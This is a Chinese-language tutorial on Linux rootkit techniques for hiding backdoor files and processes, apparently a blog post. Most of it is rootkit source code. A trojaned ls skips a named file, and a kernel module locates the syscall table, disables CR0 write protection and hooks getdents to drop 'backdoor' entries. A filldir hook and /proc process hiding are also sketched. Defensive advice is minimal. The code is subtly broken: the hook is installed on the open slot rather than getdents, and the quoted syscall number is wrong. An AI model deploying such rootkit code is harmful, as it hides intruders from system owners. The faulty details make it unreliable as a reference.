Rootkit與後門隱藏技術
目錄
- 簡介
- linux虛擬檔案系統VFS
- rootkit的功能
- 隱藏檔案
- 基本方法
- 高階方法
- 系統呼叫流程
- hook sys_getdents
- sys_getdents的呼叫樹
- 最底層的方法
- 隱藏程序
- 日誌修改
@
簡介
Rootkit是一套工具,用於長期獲取root許可權以及隱藏自己和後門程式。攻擊者通過漏洞臨時獲得root許可權後,一般會安裝後門和rootkit,以便長期獲取許可權、收集資訊。
linux虛擬檔案系統VFS
虛擬檔案系統(Virtual File System, 簡稱 VFS), 是 Linux 核心中的一個軟體層。檔案,目錄、字元裝置、塊裝置、 套接字等在 Unix/Linux 中都是以檔案被對待,使用者通過libc與kernel的VFS互動。
向上,VFS給使用者空間的程式提供彼岸準的檔案操作介面;
向下,VFS給不同檔案系統提供標準的介面。系統中不同的檔案系統依賴 VFS 提供的介面共存、 協同工作。
rootkit的功能
- 獲取許可權(連結)
- 防止受保護的檔案被拷貝
- 隱藏後門程式
- 隱藏後門程序
- 清理日誌
這些功能的實現原理
- 基本方法:替換相應的程式,如把cp、ls、ps、log等替換為自己編寫的程式,產生隱藏的效果。
- 高階方法:替換相應程式的系統呼叫,甚至更底層的函式呼叫。
下面以隱藏檔案為例,介紹如何實現這些功能。
隱藏檔案
基本方法
hook ls :修改ls命令的顯示內容
ls呼叫opendir()和readdir(),標頭檔案dirent.h
把ls.c替換為myls.c.ls,呼叫readdir()過程中,當發現backdoor name時,不輸出。
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <dirent.h> int main(int argc, char *argv[]) { DIR *dp; struct dirent *dirp; if (argc != 2) { printf("usage: ls directory_name\n"); exit(1); } if ((dp = opendir(argv[1])) == NULL) { printf("can't open %s\n", argv[1]); exit(1); } while ((dirp = readdir(dp)) != NULL) { if(strcmp(dirp->d_name,"test.txt")!=0) printf("%s\n", dirp->d_name); } closedir(dp); return 0; }
上述攻擊如何避免?
對原始ls.c簽名,或自己寫純淨版ls.c,與嫌疑ls.c的效果進行比對。
高階方法
HOOK系統呼叫sys_getdents
道高一尺魔高一丈,readdir()會呼叫sys_getdents,攻擊者可以hook readdir(),或底層的sys_getdents,乃至更底層的ext_readdir中的fillter。
目錄的資料結構,getdents的返回就是由若干個這種結構組成的緩衝區
struct linux_dirent {
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
系統呼叫流程
系統呼叫的標頭檔案 <unistd.h>,以ls->readdir->sys_getdents的系統呼叫為例
- int $0x80指令(系統呼叫,軟中斷,128號中斷),從使用者態切換到核心態
64位OS產生系統呼叫不需要中斷,它直接用sysenter進行syscall,並把SCT地址存到MSR
- 查中斷向量表IDT,找到128號指向的系統呼叫處理程式system_call()
- 系統呼叫處理函式 呼叫 系統呼叫服務例程,call call_number。根據sys_getdents的系統呼叫號1065,查系統呼叫表SCT得到sys_getdents
hook sys_getdents
- 找到IDT的地址,idt_base
- 根據idt_base和偏移(0x80 * 8) 找到syscall處理函式的地址
- 根據call命令的反彙編編碼找到SCT表的地址(該地址會在載入核心後形成,不是固定的)
- hook,重定向呼叫函式
64位OS中查詢SCT地址的程式碼
void * get_lstar_sct_addr(void)
{
u64 lstar;
u64 index;
//get the sys_call handler address
rdmsrl(MSR_LSTAR, lstar);
//search for \xff\x14\xc5,
for (index = 0; index <= PAGE_SIZE; index += 1) {
u8 *arr = (u8 *)lstar + index;
if (arr[0] == 0xff && arr[1] == 0x14 && arr[2] == 0xc5) {
return arr + 3;
}
}
return NULL;
}
unsigned long **get_lstar_sct(void)
{
unsigned long *lstar_sct_addr = get_lstar_sct_addr();
if (lstar_sct_addr != NULL) {
u64 base = 0xffffffff00000000;
u32 code = *(u32 *)lstar_sct_addr;
return (void *)(base | code);
} else {
return NULL;
}
}
也可以直接查詢獲取SCT表的地址
得到SCT表地址後進行呼叫函式的重定向
struct linux_dirent{
unsigned long d_ino;
unsigned long d_off;
unsigned short d_reclen;
char d_name[1];
};
static unsigned long ** sys_call_table;
long (*old_getdents)(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count);
/*
asmlinkage int my_open(const char*file,int flags, int mode){
printk("A file was opened!\n");
return original_open(file,flags,mode);//返回原始的呼叫函式
}
*/
asmlinkage long my_getdents(unsigned int fd, struct linux_dirent __user *dirp,
unsigned int count){
struct linux_dirent *kdirp,*kdirp2;
long value,tlen;
long len = 0;
value = (*old_getdents) (fd, dirp, count);
tlen = value;
//注意,這裡不能直接使用使用者空間的dirp,而是要把它copy到核心空間的kdirp
kdirp = (struct linux_dirent *) kmalloc(tlen, GFP_KERNEL);
kdirp2 = kdirp;
copy_from_user(kdirp, dirp, tlen);
while(tlen > 0)
{
len = kdirp->d_reclen;
tlen = tlen - len;
if(strstr(kdirp->d_name,"backdoor") != NULL)
{
printk("find file\n");
//後面的dirent結構前移覆蓋要隱藏的dirent
memmove(kdirp, (char *) kdirp + kdirp->d_reclen, tlen);
value = value - len;
printk(KERN_INFO "hide successful.\n");
}
else if(tlen)
kdirp = (struct linux_dirent *) ((char *)kdirp + kdirp->d_reclen);
}
copy_to_user(dirp, kdirp2, value);//注意把經過調整的kdirp還給dirp
//printk(KERN_INFO "finished hacked_getdents.\n");
kfree(kdirp2);
return value;
}
static int filter_init(void)
{
//sys_call_table = 0xffffffff81a00200;
sys_call_table = get_lstar_sct();
old_getdents = (void *)sys_call_table[__NR_getdents];//保留原始呼叫函式
disable_write_protection();//關閉防寫
sys_call_table[__NR_open] = (unsigned long *)&my_getdents;////重定向呼叫函式
enable_write_protection();//開啟防寫
return 0;
}
static void filter_exit(void)
{
//printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
disable_write_protection();
sys_call_table[__NR_getdents] = (unsigned long *)old_getdents;
enable_write_protection();
//printk("SYSCALLNO getdents,ADDRESS 0x%x\n",(unsigned int)sys_call_table[__NR_getdents]);
//printk(KERN_INFO "hideps: module removed\n");
}
void disable_write_protection(void)
{
unsigned long cr0 = read_cr0();
clear_bit(16, &cr0);
write_cr0(cr0);
}
void enable_write_protection(void)
{
unsigned long cr0 = read_cr0();
set_bit(16, &cr0);
write_cr0(cr0);
}
MODULE_LICENSE("GPL");
module_init(filter_init);
module_exit(filter_exit);
my_getdents原理
假設資料夾內有4個子檔案,編號0-3,用4個連續的dirent結構儲存,要隱藏的檔案編號為2
當sys_getdents讀取到dirent.name = backdoor時,捨去此dirent,後面的dirent前移覆蓋
如何防範
列印SCT表會發現異常地址,指向使用者區地址my_getdent
sys_getdents的呼叫樹
sys_getdents-> iterate_dir-> struct file_operations 裡的iterate->... -> struct dir_context 裡的actor(mostly filldir)
詳細分析,如下:
sys_getdents主要呼叫了iterate_dir
SYSCALL_DEFINE3(getdents, unsigned int, fd,
struct linux_dirent __user *, dirent, unsigned int, count)
{
struct fd f;
struct linux_dirent __user * lastdirent;
struct getdents_callback buf = {
.ctx.actor = filldir,
.count = count,
.current_dir = dirent
};
int error;
if (!access_ok(VERIFY_WRITE, dirent, count))
return -EFAULT;
f = fdget(fd);
if (!f.file)
return -EBADF;
error = iterate_dir(f.file, &buf.ctx);////////////////////here
if (error >= 0)
error = buf.error;
lastdirent = buf.previous;
if (lastdirent) {
if (put_user(buf.ctx.pos, &lastdirent->d_off))
error = -EFAULT;
else
error = count - buf.count;
}
fdput(f);
return error;
}
iterate_dir呼叫file_operations裡面的iterate函式
struct dir_context {
const filldir_t actor;
loff_t pos;
};
int iterate_dir(struct file *file, struct dir_context *ctx)
{
struct inode *inode = file_inode(file);
int res = -ENOTDIR;
if (!file->f_op->iterate)
goto out;
res = security_file_permission(file, MAY_READ);
if (res)
goto out;
res = mutex_lock_killable(&inode->i_mutex);
if (res)
goto out;
res = -ENOENT;
if (!IS_DEADDIR(inode)) {
ctx->pos = file->f_pos;
res = file->f_op->iterate(file, ctx);/////////////////////here
file->f_pos = ctx->pos;
file_accessed(file);
}
mutex_unlock(&inode->i_mutex);
out:
return res;
}
EXPORT_SYMBOL(iterate_dir);
vfs的file_operations
const struct file_operations ext4_dir_operations = {
.llseek = ext4_dir_llseek,
.read = generic_read_dir,
.iterate = ext4_readdir,///////////////here
.unlocked_ioctl = ext4_ioctl,
#ifdef CONFIG_COMPAT
.compat_ioctl = ext4_compat_ioctl,
#endif
.fsync = ext4_sync_file,
.release = ext4_release_dir,
};
ext4_readdir -> readdir(file, buf, filler), 呼叫了ext4_dir_operations函式集中的readdir()函式。
ext4_readdir最終通過filldir把目錄裡面的專案填到getdents返回的緩衝區裡,緩衝區裡是若干個linux_dirent結構。
在readdir函式中比較重要的是filler部分,型別是filldir_t(linux/fs.h),它的作用是用dirent中的各項資料填充使用者區的buffer。
typedef int (*filldir_t)(void *, const char *, int, loff_t, u64, unsigned);
Filler的程式碼示例,其中__put_user是將內容寫入使用者空間。
dirent = buf->previous;
if (dirent) {
if (__put_user(offset, &dirent->d_off))
goto efault;
}
dirent = buf->current_dir;
if (__put_user(d_ino, &dirent->d_ino))
goto efault;
if (__put_user(reclen, &dirent->d_reclen))
goto efault;
if (copy_to_user(dirent->d_name, name, namlen))
goto efault;
if (__put_user(0, dirent->d_name + namlen))
goto efault;
if (__put_user(d_type, (char __user *) dirent + reclen - 1))
goto efault;
最底層的方法
hooking filldir,在hooking function中去掉我們需要隱藏的檔案記錄,不填到緩衝區,這樣ls就收不到相應的記錄.
具體思路是hooking相應目錄的iterate,把dir_context的actor改為fake_filldir, 把後門檔案過濾。
int fake_filldir(struct dir_context *ctx, const char *name, int namlen,
loff_t offset, u64 ino, unsigned d_type)
{
if (strncmp(name, SECRET_FILE, strlen(SECRET_FILE)) == 0) {
printk("Hiding: %s", name);
return 0;
}
return real_filldir(ctx, name, namlen, offset, ino, d_type);
}
隱藏程序
原始碼:rootkit_ps.c
原理和隱藏檔案相似。
ps命令會對/proc目錄進行ls,/proc目錄中存的都是以“程序號”命名的檔案,對應的“程序名”存放在在/proc/程序號/status中,第一行就是程序名。
假設要隱藏的程序為backdoor,則需要在ls呼叫getdents時重定向到自己的處理程式my_getdents(),該函式的作用是根據對目錄下各個子目錄結構體的name,即程序號,找到/proc/程序號/status,提取其中的程序名,如果程序名是backdoor,則忽略該目錄結構體。
日誌修改
待更新。
參考:
https://zhuanlan.zhihu.com/p/61988212
《UNIX環境高階程式設計》
https://blog.csdn.net/bw_yyziq/article/details/78448667?tdsourcetag=s_pcqq_aiomsg
https://blog.csdn.net/lingfong_cool/article/details/803